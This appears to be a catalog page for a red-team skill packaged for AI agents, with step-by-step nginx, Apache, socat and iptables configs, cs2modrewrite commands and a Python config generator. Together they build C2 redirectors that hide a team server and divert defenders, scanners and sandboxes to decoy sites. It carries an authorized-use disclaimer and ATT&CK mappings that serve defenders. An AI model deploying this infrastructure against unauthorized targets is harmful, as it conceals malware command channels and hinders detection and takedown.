red teaming

Building C2 Redirector Infrastructure

Architect redirectors with nginx and Apache, malleable profiles, and OPSEC for resilient C2.

apache-mod-rewritec2-infrastructuremalleable-c2nginxopsecred-teamredirectortraffic-filtering
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Authorized Use Only: This skill is for authorized red-team engagements, adversary-emulation exercises, and defensive research only. Command-and-control infrastructure is dual-use; deploying redirectors to control malware on systems you are not explicitly authorized to test is illegal. Operate only inside an agreed scope with a signed rules-of-engagement document, and decommission infrastructure when the engagement ends.

Overview

A C2 redirector is an intermediary host that sits between victim implants and the real team server. Beacons connect to the redirector's public domain/IP; the redirector inspects each request and either proxies legitimate C2 traffic back to the hidden team server or diverts everything else (scanners, blue-team analysts, sandboxes) to a benign decoy site. This protects the team server from discovery, takedown, and attribution, and lets operators rotate the public edge without rebuilding the backend. The technique maps to MITRE ATT&CK T1090.002 (Proxy: External Proxy) — adversaries route C2 through an intermediary node to obscure the true origin.

Redirectors come in two flavors. Dumb pipes (socat, iptables NAT) blindly forward a port and provide separation but no filtering. Smart/filtering redirectors (nginx proxy_pass, Apache mod_rewrite with [P], or purpose-built tools like RedWarden) parse HTTP requests and only forward traffic that matches the implant's Malleable C2 profile — correct URI, User-Agent, headers — while sending everything else a 302 to a real website. The filtering logic is derived directly from the C2 framework's traffic profile, so the two must stay in lock-step. Tools such as cs2modrewrite automate generating Apache/nginx rules from a Cobalt Strike Malleable C2 profile.

This skill covers building both dumb and filtering redirectors with nginx and Apache, deriving filter rules from a malleable profile, layering TLS with Let's Encrypt, and applying OPSEC controls (categorized domains, domain fronting/CDN fronting, header validation, geo/UA filtering) for resilient, low-attribution infrastructure.

When to Use

  • Standing up red-team C2 that must survive blue-team triage and domain takedown requests.
  • Separating a hidden team server from any internet-facing host during an engagement.
  • Filtering implant traffic so only profile-matching requests reach the backend, diverting scanners.
  • Adding TLS termination, domain categorization, and CDN/domain fronting to an HTTP(S) listener.
  • Teaching defenders how external-proxy C2 (T1090.002) is constructed so they can detect it.

Prerequisites

  • One or more disposable cloud VPS instances (the redirector edge) and a separate, firewalled team-server host.
  • A registered domain with controllable DNS, ideally aged/categorized.
  • Root on the redirector host. Install the web server and TLS tooling:
    # Debian/Ubuntu redirector
    sudo apt update
    sudo apt install -y nginx apache2 socat certbot python3-certbot-nginx git
    # Enable Apache proxy modules if using mod_rewrite redirector
    sudo a2enmod rewrite proxy proxy_http ssl headers
  • The C2 framework's Malleable C2 profile (Cobalt Strike .profile, Sliver/Havoc HTTP profile) defining URIs, User-Agent, and headers.
  • cs2modrewrite to auto-generate rules from a Cobalt Strike profile:
    git clone https://github.com/threatexpress/cs2modrewrite
  • Firewall the team server so it only accepts the redirector's source IP on the C2 port.

Objectives

  • Deploy a dumb-pipe redirector (socat/iptables) for fast port separation.
  • Deploy a filtering nginx reverse-proxy redirector keyed to a malleable profile.
  • Deploy an Apache mod_rewrite redirector with [P] proxying and 302 decoy fallback.
  • Auto-generate redirector rules from a Cobalt Strike profile with cs2modrewrite.
  • Terminate TLS with Let's Encrypt and harden the public edge.
  • Apply OPSEC: header/UA validation, geo filtering, decoy diversion, and infra rotation.

MITRE ATT&CK Mapping

Technique ID Official Name Relevance
T1090.002 Proxy: External Proxy The redirector is an external intermediary that proxies C2 to hide the team server
T1090.004 Proxy: Domain Fronting CDN fronting routes beacon traffic through a trusted high-reputation domain
T1071.001 Application Layer Protocol: Web Protocols C2 is tunneled over HTTP/HTTPS shaped by the malleable profile
T1573.002 Encrypted Channel: Asymmetric Cryptography TLS termination at the redirector encrypts the beacon channel
T1583.006 Acquire Infrastructure: Web Services Disposable VPS/CDN edges are acquired for resilient C2

Workflow

1. Lab and firewall the team server

Place the team server on a private host. Restrict its C2 port to the redirector's IP only.

# On the team server: only the redirector (203.0.113.10) may reach 443/tcp
sudo ufw default deny incoming
sudo ufw allow from 203.0.113.10 to any port 443 proto tcp
sudo ufw allow OpenSSH
sudo ufw enable

2. Dumb-pipe redirector (socat / iptables)

For quick separation with no filtering, forward the C2 port to the team server.

# socat foreground forward of 443 -> team server
socat TCP4-LISTEN:443,fork,reuseaddr TCP4:10.0.0.2:443
 
# Or iptables DNAT (persistent)
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.0.0.2:443
iptables -t nat -A POSTROUTING -p tcp -d 10.0.0.2 --dport 443 -j MASQUERADE

3. Filtering nginx reverse-proxy redirector

Only proxy requests whose URI matches the malleable profile; send everything else a 302 to a decoy. Replace the location regex and User-Agent with values from your profile.

# /etc/nginx/sites-available/redirector.conf
server {
    listen 443 ssl;
    server_name cdn.example.com;
 
    ssl_certificate     /etc/letsencrypt/live/cdn.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/cdn.example.com/privkey.pem;
 
    # Proxy ONLY profile-matching C2 URIs to the hidden team server
    location ~ ^/(api/v2/jobs|cm/[a-z0-9]+|push) {
        # Require the implant's exact User-Agent
        if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") {
            return 302 https://www.legitimate-decoy.com/;
        }
        proxy_pass https://10.0.0.2;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }
 
    # Everything else -> benign decoy
    location / {
        return 302 https://www.legitimate-decoy.com/;
    }
}
sudo ln -s /etc/nginx/sites-available/redirector.conf /etc/nginx/sites-enabled/
sudo nginx -t && sudo systemctl reload nginx

4. Apache mod_rewrite redirector

Apache's [P] flag proxies matching requests to the team server; non-matches get a 302 redirect. This is the format cs2modrewrite produces.

# /etc/apache2/sites-available/redirector.conf  (inside <VirtualHost *:443>)
RewriteEngine On
SSLProxyEngine On
# Require the implant User-Agent
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" [NC]
# Match valid C2 URIs (GET/POST/stager) from the malleable profile
RewriteCond %{REQUEST_URI} ^/(api/v2/jobs|cm/[a-z0-9]+|push)/?$
# Proxy to the hidden team server, preserving the URI
RewriteRule ^.*$ https://10.0.0.2%{REQUEST_URI} [P,L]
# Everything else -> decoy site
RewriteRule ^.*$ https://www.legitimate-decoy.com/ [R=302,L]
sudo a2ensite redirector && sudo apache2ctl configtest && sudo systemctl reload apache2

5. Generate rules from a malleable profile

Let cs2modrewrite build the Apache or nginx rules directly from your Cobalt Strike profile so the filter exactly matches beacon traffic.

cd cs2modrewrite
# Apache mod_rewrite rules
python3 cs2modrewrite.py -i havex.profile -c https://10.0.0.2 \
  -r https://www.legitimate-decoy.com -o /etc/apache2/redirect.rules
# nginx config
python3 cs2nginx.py -i havex.profile -c https://10.0.0.2 \
  -r https://www.legitimate-decoy.com -H cdn.example.com > /etc/nginx/sites-available/c2.conf

6. Terminate TLS with Let's Encrypt

Issue a valid certificate so beacon HTTPS does not throw TLS warnings and the edge looks legitimate.

sudo certbot --nginx -d cdn.example.com --agree-tos -m ops@example.com --redirect
# Verify auto-renewal
sudo certbot renew --dry-run

7. Apply OPSEC controls

Layer defenses against blue-team analysis: validate headers, geofence to the target country, divert sandboxes, and rotate edges. Consider CDN/domain fronting (T1090.004) where supported.

# Example: drop non-target geographies at the firewall with ipset/GeoIP,
# require a custom auth header in the profile, and rotate the redirector
# domain/IP on a schedule. Check the redirector only forwards matched traffic:
curl -k https://cdn.example.com/                       # expect 302 to decoy
curl -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
  https://cdn.example.com/api/v2/jobs                  # expect proxied response

Tools and Resources

Tool Purpose Source
nginx Filtering reverse-proxy redirector https://nginx.org/
Apache mod_rewrite [P] proxy + 302 decoy redirector https://httpd.apache.org/docs/current/mod/mod_rewrite.html
cs2modrewrite Generate Apache/nginx rules from CS profile https://github.com/threatexpress/cs2modrewrite
RedWarden Malleable-aware filtering C2 reverse proxy https://github.com/mgeeky/RedWarden
redi Automated nginx + Let's Encrypt CS redirector https://github.com/taherio/redi
socat Dumb-pipe TCP forwarder http://www.dest-unreach.org/socat/
Let's Encrypt / certbot Free TLS certificates https://certbot.eff.org/
ired.team Red-team infrastructure reference https://www.ired.team/offensive-security/red-team-infrastructure

Validation Criteria

  • Team server firewalled to accept only the redirector source IP on the C2 port.
  • Redirector deployed (dumb pipe and/or filtering reverse proxy).
  • Filter rules derived from the actual malleable C2 profile (URI + User-Agent + headers).
  • Non-matching requests return a 302 to a benign decoy site (verified with curl).
  • Matching beacon requests are proxied to the hidden team server (verified with curl).
  • Valid TLS certificate issued and auto-renewal confirmed.
  • OPSEC controls applied (UA/header validation, geofencing, decoy diversion).
  • Domain categorization / CDN fronting considered where applicable.
  • Infrastructure rotation and decommissioning plan documented.
  • All activity confined to the authorized engagement scope.
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 2

api-reference.md2.1 KB

C2 Redirector — Directives & Tooling Reference

nginx reverse-proxy directives

Directive Purpose
location ~ ^/regex Match profile C2 URIs
proxy_pass https://TEAMSERVER; Forward matched traffic to team server
proxy_ssl_verify off; Skip cert verification to backend
proxy_set_header Host $host; Preserve Host header
if ($http_user_agent != "...") { return 302 ...; } UA validation
return 302 https://DECOY/; Divert non-C2 to a benign site

Apache mod_rewrite directives

Directive Purpose
RewriteEngine On Enable rewriting
SSLProxyEngine On Allow HTTPS proxying
RewriteCond %{HTTP_USER_AGENT} "..." Match implant User-Agent
RewriteCond %{REQUEST_URI} ^/c2/path Match profile URIs
RewriteRule ^.*$ https://TEAMSERVER%{REQUEST_URI} [P,L] Proxy match to backend
RewriteRule ^.*$ https://DECOY/ [R=302,L] Redirect non-match to decoy

Required modules: rewrite proxy proxy_http ssl headers (a2enmod).

cs2modrewrite invocation

# Apache rules from a Cobalt Strike profile
python3 cs2modrewrite.py -i PROFILE.profile -c https://TEAMSERVER \
  -r https://DECOY -o redirect.rules
 
# nginx config
python3 cs2nginx.py -i PROFILE.profile -c https://TEAMSERVER \
  -r https://DECOY -H your.domain > c2.conf
Flag Meaning
-i Input Cobalt Strike malleable profile
-c C2 team server URL (proxy target)
-r Redirect URL for non-matching requests
-o Output rules file (Apache)
-H Hostname (nginx)

Dumb-pipe forwarders

socat TCP4-LISTEN:443,fork,reuseaddr TCP4:TEAMSERVER:443
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination TEAMSERVER:443

TLS (certbot)

certbot --nginx -d your.domain --agree-tos -m ops@you --redirect
certbot renew --dry-run

External References

standards.md1.8 KB

Standards and References — Building C2 Redirector Infrastructure

MITRE ATT&CK References

Technique ID Name Tactic Rationale
T1090.002 Proxy: External Proxy Command and Control The redirector is the external proxy node that hides the team server
T1090.004 Proxy: Domain Fronting Command and Control CDN fronting routes C2 through a trusted high-reputation domain
T1071.001 Application Layer Protocol: Web Protocols Command and Control C2 is tunneled over HTTP/HTTPS shaped by the malleable profile
T1573.002 Encrypted Channel: Asymmetric Cryptography Command and Control TLS termination at the redirector encrypts the channel
T1583.006 Acquire Infrastructure: Web Services Resource Development Disposable VPS/CDN edges acquired for resilient C2

NIST Cybersecurity Framework 2.0

ID Name Rationale
DE.CM-01 Networks and network services are monitored to find potentially adverse events Redirector-fronted C2 is the adverse traffic defenders must detect; building it informs detection of T1090.002

Official Resources

Key Research

  • RedOps: Cobalt Strike — CDN / Reverse Proxy Setup
  • ired.team: Red Team Infrastructure Wiki
  • threatexpress: cs2modrewrite project documentation

Scripts 1

agent.py4.7 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
# For authorized red-team engagements and defensive research only.
# Deploying C2 infrastructure outside an agreed scope is illegal.
"""C2 redirector configuration generator and validator.

Generates a filtering nginx reverse-proxy redirector config from a set of C2
URI patterns + implant User-Agent (mirroring what cs2modrewrite/cs2nginx do),
and validates a live redirector: matching requests should proxy to the backend
while non-matching requests must be diverted (302) to a decoy.
"""

import argparse
import json
import sys
from datetime import datetime, timezone

NGINX_TEMPLATE = """server {{
    listen 443 ssl;
    server_name {domain};

    ssl_certificate     /etc/letsencrypt/live/{domain}/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/{domain}/privkey.pem;

    location ~ {uri_regex} {{
        if ($http_user_agent != "{user_agent}") {{
            return 302 {decoy};
        }}
        proxy_pass {teamserver};
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }}

    location / {{
        return 302 {decoy};
    }}
}}
"""


def build_uri_regex(uris):
    """Turn a list of C2 URIs into an nginx location regex."""
    cleaned = [u.strip().lstrip("/") for u in uris if u.strip()]
    if not cleaned:
        sys.exit("[!] No C2 URIs provided")
    return "^/(" + "|".join(cleaned) + ")"


def generate_config(args):
    """Render the nginx redirector config."""
    cfg = NGINX_TEMPLATE.format(
        domain=args.domain,
        uri_regex=build_uri_regex(args.uri),
        user_agent=args.user_agent,
        teamserver=args.teamserver,
        decoy=args.decoy,
    )
    if args.output:
        with open(args.output, "w") as f:
            f.write(cfg)
        print(f"[+] nginx redirector config written to {args.output}")
    else:
        print(cfg)


def validate_redirector(args):
    """Probe a live redirector: decoy on miss, proxy on match."""
    try:
        import requests
        from urllib3.exceptions import InsecureRequestWarning
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    except ImportError:
        sys.exit("[!] pip install requests for --validate")

    base = f"https://{args.domain}"
    report = {"checked": datetime.now(timezone.utc).isoformat(), "results": []}

    # 1. Non-matching request should be diverted (302/redirect to decoy)
    r1 = requests.get(base + "/", allow_redirects=False, verify=False, timeout=15)
    diverted = r1.status_code in (301, 302) and args.decoy.rstrip("/") in \
        r1.headers.get("Location", "")
    report["results"].append({"check": "non_c2_diverted", "status": r1.status_code,
                              "location": r1.headers.get("Location"), "pass": diverted})

    # 2. Matching request (correct UA + C2 URI) should be proxied (not 302-decoy)
    c2_path = "/" + args.uri[0].strip().lstrip("/").split("|")[0]
    r2 = requests.get(base + c2_path, headers={"User-Agent": args.user_agent},
                      allow_redirects=False, verify=False, timeout=15)
    proxied = not (r2.status_code in (301, 302) and
                   args.decoy.rstrip("/") in r2.headers.get("Location", ""))
    report["results"].append({"check": "c2_proxied", "path": c2_path,
                              "status": r2.status_code, "pass": proxied})

    print(json.dumps(report, indent=2))
    return all(x["pass"] for x in report["results"])


def main():
    p = argparse.ArgumentParser(description="C2 redirector config generator/validator")
    sub = p.add_subparsers(dest="cmd", required=True)

    g = sub.add_parser("generate", help="Generate an nginx redirector config")
    g.add_argument("--domain", required=True, help="Public redirector domain")
    g.add_argument("--teamserver", required=True, help="https://team-server backend URL")
    g.add_argument("--decoy", required=True, help="Decoy site URL for non-C2 traffic")
    g.add_argument("--uri", required=True, nargs="+", help="C2 URI patterns (no leading /)")
    g.add_argument("--user-agent", required=True, help="Implant User-Agent string")
    g.add_argument("--output", help="Write config to file")

    v = sub.add_parser("validate", help="Probe a live redirector")
    v.add_argument("--domain", required=True, help="Public redirector domain")
    v.add_argument("--decoy", required=True, help="Expected decoy URL")
    v.add_argument("--uri", required=True, nargs="+", help="C2 URI patterns")
    v.add_argument("--user-agent", required=True, help="Implant User-Agent string")

    args = p.parse_args()
    if args.cmd == "generate":
        generate_config(args)
    elif args.cmd == "validate":
        ok = validate_redirector(args)
        sys.exit(0 if ok else 1)


if __name__ == "__main__":
    main()
Keep exploring